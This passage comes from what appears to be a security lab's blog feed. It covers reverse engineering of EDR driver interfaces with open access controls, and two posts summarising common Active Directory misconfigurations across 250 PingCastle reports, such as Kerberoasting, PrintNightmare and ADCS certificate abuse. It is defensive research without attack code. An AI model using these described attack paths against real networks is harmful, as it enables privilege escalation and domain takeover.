&lt;p&gt;The most relevant method for interacting with these devices is Device Input/Output Control (IOCTL) using major function code 0xe (14) which allows for communication between 2 partners while offering a channel for (bi)directional data exchange. While read (&lt;em&gt;IRP_MJ_READ&lt;/em&gt;) and write (&lt;em&gt;IRP_MJ_WRITE&lt;/em&gt;) operations could also be relevant, the primary functionality in this context resides within &lt;em&gt;IRP_MJ_DEVICE_CONTROL&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;These dispatch functions can be triggered from user-mode with the following functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;CreateFile() =&amp;gt; IRP_MJ_CREATE_&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;ReadFile() =&amp;gt; IRP_MJ_READ&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;DeviceIoControl() =&amp;gt; IRP_MJ_CONTROL&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./irp_majorfunctions.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Source: Enrique Nissim, IOActive &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The next step involves reverse engineering to analyze the functionality of these dispatch functions. The functionality is located in &lt;code&gt;DRIVER_DISPATCH&lt;/code&gt; callback functions which are registered during the initialization of the driver. The following screenshot from IDA shows the &lt;em&gt;tedrdrv.sys&lt;/em&gt; driver from Cortex. In this example the callback functions are the same for most of the functions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Driver Dispatch Functions in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;sub_1233A0&lt;/code&gt; differentiates between MajorFunction codes. If 0xe (DEVICE_CONTROL) is called the real IO Control Dispatch function is called which looks like the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_io_cortex_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The different cases correspond to I/O control codes (IOCTLs). This section of the code reveals an interesting aspect: the process ID of the caller is retrieved and then either compared or passed to other functions. This suggests an authorization mechanism needs to be further analyzed. This is part of the next chapter.&lt;/p&gt;
&lt;h3&gt;2.4.2 FilterConnectionPorts:&lt;/h3&gt;
&lt;p&gt;Filter connection ports are similar to I/O control codes. During the registration of a filter connection port, callback functions can be specified in the &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt; function to handle connection, disconnection, and messages.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_filterconenctionport_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; FltCreateCommunicationPort() in cyvrfsfd.sys from Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;MessageNotifyCallback&lt;/code&gt; implements different cases similar to the IO Control Dispatch function above.&lt;/p&gt;
&lt;h2&gt;2.5 Why are some of the EDR driver interfaces accessible for low privileged users at all?&lt;/h2&gt;
&lt;p&gt;Verifying the access control lists (ACLs) of driver interfaces is a fundamental check in penetration testing, one that, ideally, all vendors should conduct at some stage. It is very likely that, in some instances, ACLs are intentionally set to be broadly accessible. Windows APIs typically offer functionalities to restrict privilege levels for specific device objects. One such example is using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure&quot;&gt;&lt;code&gt;IoCreateDeviceSecure&lt;/code&gt;&lt;/a&gt; with an explicit security identifier as an argument, or alternatively using &lt;code&gt;IoCreateDevice&lt;/code&gt; and specifying the security identifier within the INF file.&lt;/p&gt;
&lt;p&gt;Why, then, are these ACLs not more restrictive?  During kernel debugging of the driver, we observed that IOCTLs are invoked from various user-space processes. EDRs often employ an architecture where an injected DLL from the EDR agent communicates directly with the driver via IOCTLs on behalf of the injected process. Because these injected processes are frequently low-privileged (e.g., &lt;code&gt;word.exe&lt;/code&gt;), the driver cannot enforce security restrictions based solely on the process&apos;s privilege level. We&apos;ve never implemented an EDR and we don&apos;t have enough details to judge this, but we don&apos;t think that this is the most secure approach. Indeed, several EDR solutions do not adopt this practice.&lt;/p&gt;
&lt;p&gt;Following the process described in the previous sections, there are candidates with open ACLs for the driver interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The results are described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Tear Down The Castle - Part 2</title><link>https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_two/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_two/</guid><description>To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments.</description><pubDate>Thu, 23 Jan 2025 09:04:20 GMT</pubDate><content:encoded>&lt;p&gt;:::note
This article was first published on &lt;a href=&quot;https://dfir.ch&quot;&gt;dfir.ch&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;This is the second part of a two-part series about Active Directory security. Read the first part &lt;a href=&quot;https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pingcastle.com/&quot;&gt;PingCastle&lt;/a&gt; is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along &lt;a href=&quot;https://dfir.ch/tweets/varia/#10-ad-commandments&quot;&gt;The Ten AD Commandments&lt;/a&gt;, mapping every point to the corresponding PingCastle finding(s).&lt;/p&gt;
&lt;h1&gt;6. Privileges&lt;/h1&gt;
&lt;h2&gt;6.1 - Introduction&lt;/h2&gt;
&lt;p&gt;PingCastle lists, among many other things, the privileges assigned to domain users via GPOs. Figure 1 shows that the &lt;code&gt;Default Notebook Policy&lt;/code&gt; grants Domain Users the &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; privilege.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./seloaddriver.png&quot; alt=&quot;SeLoadDriverPrivilege&quot; title=&quot;SeLoadDriverPrivilege&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 1: SeLoadDriverPrivilege &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Why is this bad? As &lt;a href=&quot;https://0xdf.gitlab.io/&quot;&gt;@0xdf&lt;/a&gt; put it: &lt;em&gt;If I can load a driver, I can load a vulnerable driver and then exploit it.&lt;/em&gt; [1] I am aware that some Endpoint Detection and Response (EDR) solutions generate alerts when a vulnerable driver is loaded or written to disk, as such drivers can be exploited for &lt;code&gt;Local Privilege Escalation (LPE)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./vuln_driver.png&quot; alt=&quot;Exploiting a vulnerable driver&quot; title=&quot;Exploiting a vulnerable driver&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 2: If I can load a driver, I can load a vulnerable driver and then exploit it. &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Excerpt from a Volexity blog post: &lt;em&gt;A userland application cannot modify kernel memory, so the malware authors include a vulnerable driver, RTCore64.sys, to read and write into this protected memory space.&lt;/em&gt; A public GitHub repository, KDU, owned by hFiref0x, documents a list of drivers that can be abused for this &lt;code&gt;Bring Your Own Vulnerable Driver (BYOVD)&lt;/code&gt; technique.&lt;/p&gt;
&lt;h2&gt;6.2 - Findings&lt;/h2&gt;
&lt;h3&gt;6.2.1 - Ensure that dangerous privileges are not granted to everyone by GPO&lt;/h3&gt;
&lt;p&gt;The purpose is to ensure that standard users are not granted dangerous privileges. The &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; presented above is one of many dangerous privileges. Thomas Roccia (fr0gger) has compiled a &lt;a href=&quot;https://speakerdeck.com/fr0gger/windows-privileges&quot;&gt;list&lt;/a&gt; of Windows privileges (Figure 3).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./privileges.png&quot; alt=&quot;Windows Privileges&quot; title=&quot;Windows Privileges&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 3: Windows Privileges &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Figure 4 shows a snippet from a &lt;code&gt;Default Domain Policy&lt;/code&gt;, granting &lt;code&gt;Èveryone&lt;/code&gt; the &lt;code&gt;SeBackupPrivilege&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./SeBackup.png&quot; alt=&quot;SeBackup&quot; title=&quot;SeBackup&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: SeBackup&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;13/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;6.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/&lt;/li&gt;
&lt;li&gt;https://0xdf.gitlab.io/2020/10/31/htb-fuse.html&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://speakerdeck.com/fr0gger/windows-privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;7. Harden critical accounts&lt;/h1&gt;
&lt;h2&gt;7.1 - Introduction&lt;/h2&gt;
&lt;p&gt;Add critical accounts to the &lt;code&gt;Protected Users Security Group&lt;/code&gt; to raise the bar for a successful attack against your network. &lt;em&gt;This group provides protections over and above just preventing delegation and makes them even more secure; however, it may cause operational issues, so it is worth testing in your env.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Benefits of using the Protected Users Security Group:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Credential delegation (CredSSP)&lt;/code&gt; will not cache the user&apos;s plain text credentials [..]&lt;/li&gt;
&lt;li&gt;Beginning with Windows 8.1 and Windows Server 2012 R2, &lt;code&gt;Windows Digest&lt;/code&gt; will not cache the user&apos;s plain text credentials even when &lt;code&gt;Windows Digest&lt;/code&gt; is enabled.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NTLM&lt;/code&gt; will not cache the user&apos;s plain text credentials or &lt;code&gt;NT one-way function (NTOWF&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kerberos&lt;/code&gt; will no longer create &lt;code&gt;DES&lt;/code&gt; or &lt;code&gt;RC4&lt;/code&gt; keys. Also, it will not cache the user&apos;s plain text credentials or long-term keys after the initial &lt;code&gt;TGT&lt;/code&gt; is acquired.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Accounts that are members of the Protected Users group that authenticate to a Windows Server 2012 R2 domain are unable to:&lt;/p&gt;
&lt;p&gt;✅ Authenticate with &lt;code&gt;NTLM authentication&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Use &lt;code&gt;DES&lt;/code&gt; or &lt;code&gt;RC4&lt;/code&gt; encryption types in &lt;code&gt;Kerberos pre-authentication&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Be delegated with &lt;code&gt;unconstrained or constrained delegation&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Renew the &lt;code&gt;Kerberos TGTs&lt;/code&gt; beyond the initial four-hour lifetime.&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;p&gt;:::warning{title=&quot;A word of advice&quot;}
Accounts for services and computers should never be members of the Protected Users group. This group provides incomplete protection anyway, because the password or certificate is always available on the host.
:::&lt;/p&gt;
&lt;h2&gt;7.2 - Findings&lt;/h2&gt;
&lt;h3&gt;7.2.1 - At least one member of an admin group is vulnerable to the Kerberoast attack&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;95/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.2 - Check the use of Kerberos with weak encryption (DES algorithm)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify that no weak encryption algorithm such as DES is used for accounts. DES is a very weak algorithm and once assigned to an account, it can be used in Kerberos ticket requests, even though it is easily cracked. If the attacker cracks the Kerberos ticket, they can steal the token and compromise the user account.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;103/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.3 - Check for the number of Administrator accounts above the baseline&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify if the number of administrator accounts is not disproportionate. Very few users should have domain admin accounts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;51/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.4 - At least one administrator account can be delegated&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that all Administrator Accounts have the configuration flag &quot;this account is sensitive and cannot be delegated&quot; (or are members of the built-in group &quot;Protected Users&quot; when your domain functional level is at least Windows Server 2012 R2).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;232/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;7.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/total-identity-compromise-microsoft-incident-response-lessons-on-securing-active/3753391&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;8. Print Spooler Service&lt;/h1&gt;
&lt;h2&gt;8.1 - Introduction&lt;/h2&gt;
&lt;p&gt;A running &lt;code&gt;print spooler service&lt;/code&gt; on domain controllers is still a relatively common finding in our Active Directory assessments, even though an attack path via &lt;code&gt;spooler service&lt;/code&gt; and &lt;code&gt;unconstrained delegations&lt;/code&gt; have been known for years.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./printer_spooler.png&quot; alt=&quot;The spooler service is remotely accessible&quot; title=&quot;The spooler service is remotely accessible&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: The spooler service is remotely accessible&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Apart from the (older) attack technique with unconstrained delegations (see above), the printer spooler has had various critical vulnerabilities over the last two years.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./spooler_cves.png&quot; alt=&quot;Printer Spooler vulnerabilites&quot; title=&quot;Printer Spooler vulnerabilites&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: Printer Spooler vulnerability&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In one of our Incident Response investigations, the attacker attempted to exploit the &lt;code&gt;PrintNightmare&lt;/code&gt; (CVE-2021-34527) vulnerability. PrintNightmare can be used for &lt;code&gt;Local Privilege Escalation&lt;/code&gt; as well as &lt;code&gt;Remote Code Execution&lt;/code&gt;, as the screenshot below shows.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./printnightmare.png&quot; alt=&quot;PrintNightmare&quot; title=&quot;PrintNightmare&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: PrintNightmare&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Disable the print spooler service on domain controllers if possible to reduce the attack risk in case of an active attacker in the network. Additionally, the corresponding Windows patches (as an example for the LPE via PrintNightmware) must be rolled out and installed quickly across the board.&lt;/p&gt;
&lt;h2&gt;8.2 - Findings&lt;/h2&gt;
&lt;h3&gt;8.2.1 - Ensure that the Print Spooler service cannot be abused to get the DC credentials&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;When there&apos;s an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers credentials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be extracted allowing an attacker to reuse it with a DCSync attack and obtain all user hashes and impersonate them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;140/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;8.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://adsecurity.org/?p=4056&lt;/li&gt;
&lt;li&gt;https://github.com/m8sec/CVE-2021-34527&lt;/li&gt;
&lt;li&gt;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;9. Easy Wins (for Attackers)&lt;/h1&gt;
&lt;h2&gt;9.1 - Introduction&lt;/h2&gt;
&lt;p&gt;To wrap up this two-part series, here are more points you should focus on to better defend your networks.&lt;/p&gt;
&lt;h2&gt;9.2 - Findings&lt;/h2&gt;
&lt;h3&gt;9.2.3 - Obsolete Domain Controller&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that there is no use of the obsolete and vulnerable OS Windows Server 20[03|08|12] as Domain Controller within the domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2003&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;3/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2008&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;21/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2012&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;10/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.4 - Number of accounts that do not require Kerberos pre-authentication&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Without Kerberos pre-authentication, an attacker can request Kerberos data from the domain controller and use this data to crack the account password.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Check if all accounts require Kerberos pre-authentication&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;19/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Check if all admin accounts require Kerberos pre-authentication&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;4/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.5 - DC&apos;s have been found where the owner is not in the Domain Admins group or the Enterprise Admin group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;By default, the &quot;Domain Administrators&quot; group or the &quot;Enterprise Administrators&quot; group are set as owners for &quot;Domain Controllers&quot;. Nonetheless, in some cases (for instance when the server has been promoted from an existing server), the owner can be a non-admin person which joined the server to the domain. If this person has still rights over this account, it can be used to take ownership over the whole domain. A chain of compromising events can be designed to take control of the domain by including this account.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;42/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.6 - DC vulnerability (MS17-010)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify if Domain Controller(s) are vulnerable to the MS17-010 vulnerability.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;2/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.7 - Check if a GPO assigns everyone to a local group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to identify if there are local groups such as local administrators, terminal server access, where Authenticated Users or Everyone is being granted access by a GPO. It is possible that a GPO adds local membership using a GPO. In this case the rule triggers if one is found with &quot;Everyone&quot; or &quot;Authenticated Users&quot; or &quot;Domain Users&quot;, ... as members. It basically means that the local Group has no restriction on belongs to it. This represents a security risk as Local Group are supposed to have more accesses or rights.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./LocalAdmins.png&quot; alt=&quot;LocalAdmins&quot; title=&quot;LocalAdmins&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 6: LocalAdmins&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;9/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;9.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://cube0x0.github.io/Pocing-Beyond-DA/&lt;/li&gt;
&lt;li&gt;https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/&lt;/li&gt;
&lt;li&gt;https://blog.nviso.eu/2023/10/26/most-common-active-directory-misconfigurations-and-default-settings-that-put-your-organization-at-risk/&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat&lt;/li&gt;
&lt;li&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;10. Conclusion&lt;/h1&gt;
&lt;p&gt;Keeping an Active Directory (AD) secure takes effort, careful planning, and a good understanding of how attackers might try to break in. After looking at 250 PingCastle reports, we found that many organizations still have common mistakes and outdated setups that make them easy targets. Problems like giving users too many privileges, not securing important accounts, misconfiguring services like the Print Spooler, and ignoring relaying vulnerabilities give attackers the chance to take over entire systems.&lt;/p&gt;
</content:encoded><author>Stephan Berger</author></item><item><title>Tear Down The Castle - Part 1</title><link>https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/</guid><description>To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments.</description><pubDate>Sun, 19 Jan 2025 02:04:20 GMT</pubDate><content:encoded>&lt;p&gt;:::note
This article was first published on &lt;a href=&quot;https://dfir.ch&quot;&gt;dfir.ch&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Introduction&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the realm of IT infrastructure, Active Directory (AD) serves as a crucial backbone, enabling organizations to manage users, devices, and resources efficiently. However, given its central role, it also presents a significant security target, and maintaining its integrity is paramount. Misconfigurations and overlooked security gaps in AD can expose an organization to critical vulnerabilities, leading to potential breaches, data theft, and system downtime.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pingcastle.com/&quot;&gt;PingCastle&lt;/a&gt; is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along &lt;a href=&quot;https://dfir.ch/tweets/varia/#10-ad-commandments&quot;&gt;The Ten AD Commandments&lt;/a&gt;, mapping every point to the corresponding PingCastle finding(s).&lt;/p&gt;
&lt;h1&gt;1. ADCS (Active Directory Certificate Services&lt;/h1&gt;
&lt;h2&gt;1.1 - Introduction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./certified_adcs.png&quot; alt=&quot;Certified Pre-Owned&quot; title=&quot;Certified Pre-Owned&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 1: Certified Pre-Owned &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The whitepaper &lt;a href=&quot;https://posts.specterops.io/certified-pre-owned-d95910965cd2&quot;&gt;Certified Pre-Owned: Abusing Active Directory Certificate Services&lt;/a&gt; by Will Schroeder and Lee Christensen introduced new attack vectors and techniques for gaining domain administrative rights through &lt;code&gt;Active Directory Certificate Services&lt;/code&gt; (AD CS). Their research demonstrates how attackers—and defenders—can leverage the &lt;code&gt;Certify&lt;/code&gt; tool, developed by SpecterOps, to discover and exploit vulnerable certificates within a network. Below is an excerpt showcasing an example of a vulnerable certificate, sourced from &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin&quot;&gt;ired.team&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./certipy.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 2: Vulnerable certificate&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above, the presence of &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; indicates that a user requesting a certificate based on this template can specify any subject, including domain administrators. This means attackers could potentially request certificates impersonating high-privilege accounts. 🤯 Additionally, the &lt;code&gt;Client Authentication&lt;/code&gt; setting under &lt;code&gt;PkiExtendedKeyUsage&lt;/code&gt; allows the certificate created from this template to be used for authentication against machines within Active Directory, effectively granting access across the network.&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;Enrollment Rights&lt;/code&gt; set to &lt;code&gt;NT Authority\Authenticated Users&lt;/code&gt;, any authenticated user in the domain has the ability to generate a new certificate based on this template. For an in-depth analysis of these vulnerabilities, additional details are available &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administrator using Certify. [..] Once we have the certificate in cert.pfx, we can request a Kerberos TGT for the user for which we minted the new certificate.&lt;/em&gt; (Source: ired.team)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./rubeus.png&quot; alt=&quot;Rubeus - Requesting a Kerberos TGT&quot; title=&quot;Rubeus - Requesting a Kerberos TGT&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 3: Rubeus - Requesting a Kerberos TGT&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In a nutshell - it&apos;s practically game over at this point. While this overview covers some of the main attack vectors, there are numerous other techniques targeting vulnerable certificates (as detailed in the original SpecterOps whitepaper), and ongoing research continues to uncover new threats in this area.&lt;/p&gt;
&lt;p&gt;Discussions with customers show that awareness of these risks is still alarmingly low among administrators and IT security professionals. This underscores the urgent need for better education and more proactive security measures.&lt;/p&gt;
&lt;h2&gt;1.2 - Findings&lt;/h2&gt;
&lt;h3&gt;1.2.1 - At least one certificate template can be modified by anyone&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;A certificate template is an object whose definition serves as a base to issue certificates. If a user has the right to edit it, it can manually change obscure attributes such as msPKI-Certificate-Name-Flag. Doing so will enable him to provide the subject of the certificate and thus having a certificate on behalf other users such as admins. It can be used to impersonate them and take control of the domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;19/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.2.2 - At least one certificate used for authentication can have it&apos;s subject modified when being used&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Usually, the subject of a certificate is generated automatically by the certification authority. By allowing editing before its issuance, a malicious user can set the subject to an administrator account, and thus get a certificate representing them. This certificate can be abused later to impersonate them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ADCS.jpeg&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: PingCastle ADCS check&amp;lt;/p&amp;gt;&lt;/p&gt;
